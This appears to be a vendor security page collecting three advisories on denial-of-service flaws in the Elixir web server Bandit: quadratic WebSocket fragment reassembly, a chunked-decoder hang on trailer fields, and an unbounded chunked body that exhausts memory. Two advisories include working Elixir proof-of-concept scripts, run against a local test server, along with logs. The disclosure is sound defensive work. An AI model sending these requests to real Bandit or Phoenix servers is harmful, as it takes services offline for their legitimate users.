See how mtrudel compares to other vendors in security performance
Inefficient Algorithmic Complexity vulnerability in mtrudel bandit allows unauthenticated remote denial of service via CPU exhaustion during WebSocket fragment reassembly.
The size guard 'Elixir.Bandit.WebSocket.Connection':oversizemessage?/2 called from handleframe/3 in lib/bandit/websocket/connection.ex appends each non-final continuation frame to a left-nested iolist and then re-measures the entire accumulated buffer with IO.iodatalength/1 on every frame. Because the buffer grows by one element per frame and is fully re-traversed each time, reassembly work is quadratic (O(n^2)) in the number of continuation frames.
The maxfragmentedmessagesize limit (default 8 MB) bounds total bytes but not frame count, and each frame can carry as little as one payload byte, so an attacker can send millions of tiny continuation frames using modest bandwidth to pin a CPU core for minutes to hours. Many concurrent connections can starve the whole server of CPU, denying service to legitimate users. The WebSocket read timeout does not help, because it is an idle timeout evaluated between reads and cannot preempt the synchronous reassembly work spent inside a single callback.
This issue affects bandit: from 1.11.0 before 1.12.1.
Summary A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.
The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217
Details The bug is in lib/bandit/http1/socket.ex in doreadchunkeddata!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.
When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<::binary-size(0), ?\r, ?\n, ::binary>> pattern also does not match because rest starts with X. Execution falls into the -> arm, which computes toread = 0 - bytesize(rest) (a negative number) and calls readavailable!/2 on the socket. On timeout, readavailable!/2 returns <<>>, leaving the buffer unchanged. doreadchunkeddata!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.
The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and readavailable! is repeatedly called with no progress.
The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".
Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decodepacket(:httphbin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when readavailable!/2 returns <<>>, raise requesterror!(:requesttimeout) rather than re-entering with an unchanged buffer.
PoC A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:
- one 5-byte chunk "hello" - the last-chunk marker 0\r\n - one trailer field X-Trailer: 1\r\n - the terminating \r\n
The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gentcp.recv/3 times out after 10 seconds because the worker is stuck spinning in doreadchunkeddata!/5.
Steps to reproduce: 1. elixir script.exs 2. Observe the TIMEOUT — worker is pinned in doreadchunkeddata!/5 log line. 3. Each additional concurrent client sending the same request consumes one more worker process.
Impact Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.
Script and Logs
elixir Bandit HTTP/1 chunked decoder hangs on requests with trailer headers. lib/bandit/http1/socket.ex:242-274 (doreadchunkeddata!/5) terminates only when the last-chunk line 0\r\n is followed immediately by the empty trailer line \r\n. RFC 9112 §7.1.2 allows trailer fields between them (e.g. 0\r\nX-T: v\r\n\r\n). With trailers present, none of the match clauses fit: the arm computes toread = 0 - bytesize(rest) (negative), calls readavailable!/2, gets <<>> on timeout, and recurses with the same buffer forever — pinning the worker for the connection's lifetime. The line 245 comment ("We should be reading (and ignoring) trailers here") acknowledges the gap. This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST whose body ends with a single trailer field, and waits for a response. A correct server replies in milliseconds; the buggy decoder never does. Run: elixir script.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule EchoApp do @behaviour Plug def init(opts), do: opts
def call(conn, opts) do {:ok, body, conn} = Plug.Conn.readbody(conn) Plug.Conn.sendresp(conn, 200, "got #{bytesize(body)} bytes") end end
defmodule TrailerHang do @port 4321 @recvtimeoutms 10000
def run do {:ok, } = Bandit.startlink(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
request = buildchunkedrequestwithtrailer() log("Sending chunked POST whose body ends with 0\\r\\nX-Trailer: 1\\r\\n\\r\\n.") :ok = :gentcp.send(sock, request)
log("Waiting up to #{div(@recvtimeoutms, 1000)}s for a response (a correct server replies in ms)…") startedat = System.monotonictime(:millisecond)
case :gentcp.recv(sock, 0, @recvtimeoutms) do {:ok, response} -> elapsed = System.monotonictime(:millisecond) - startedat log("Got response after #{elapsed}ms — server handles trailers correctly:") IO.puts(binarypart(response, 0, min(bytesize(response), 256)))
{:error, :timeout} -> log("TIMEOUT — worker is pinned in doreadchunkeddata!/5.") log("Each concurrent client sending this shape consumes one Bandit worker.")
{:error, reason} -> log("Connection error: #{inspect(reason)}") end
:gentcp.close(sock) end
# Body: one 5-byte chunk "hello", last-chunk marker 0\r\n, one trailer # X-Trailer: 1\r\n, terminating \r\n. RFC-conformant; many proxies # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing # responses or requests. defp buildchunkedrequestwithtrailer do "POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Transfer-Encoding: chunked\r\n" <> "Trailer: X-Trailer\r\n" <> "Content-Type: application/octet-stream\r\n" <> "\r\n" <> "5\r\nhello\r\n" <> "0\r\n" <> "X-Trailer: 1\r\n" <> "\r\n" end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
TrailerHang.run()
logs 12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:36:54.275] Sending chunked POST whose body ends with 0\r\nX-Trailer: 1\r\n\r\n. [10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)… [10:37:04.276] TIMEOUT — worker is pinned in doreadchunkeddata!/5. [10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.
Summary
Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.
Details
In lib/bandit/http1/socket.ex:189, the chunked clause of readdata/2 only forwards :readlength and :readtimeout to doreadchunkeddata!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodatatobinary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.
The content-length sibling at :210 does the right thing:
elixir maxtoreturn = min(unreadcontentlength, Keyword.get(opts, :length, 8000000))
Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.
Suggested Fix: track accumulated bytes in doreadchunkeddata! and either return {:more, ...} or raise requesterror! once :length is exceeded, mirroring the content-length path.
PoC
Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8000000) and floods it. Save as chunkedoom.exs, run elixir chunkedoom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.
elixir Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])
defmodule DemoApp do use Plug.Builder
# The length option here is ignored by the attack plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["/"], jsondecoder: JSON, length: 8000000 plug :respond
def respond(conn, ), do: Plug.Conn.sendresp(conn, 200, "ok") end
{:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)
Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side. chunk = :binary.copy(<<?A>>, 1048576) frame = "#{Integer.tostring(1048576, 16)}\r\n#{chunk}\r\n"
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])
:ok = :gentcp.send(sock, """ POST / HTTP/1.1\r Host: 127.0.0.1\r Transfer-Encoding: chunked\r Content-Type: application/json\r Connection: close\r \r """)
Enum.each(1..10240, fn -> :ok = :gentcp.send(sock, frame) end) :ok = :gentcp.send(sock, "0\r\n\r\n")
IO.inspect(:gentcp.recv(sock, 0, 120000))
Impact
Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.readbody/2 are silently ineffective on the chunked path.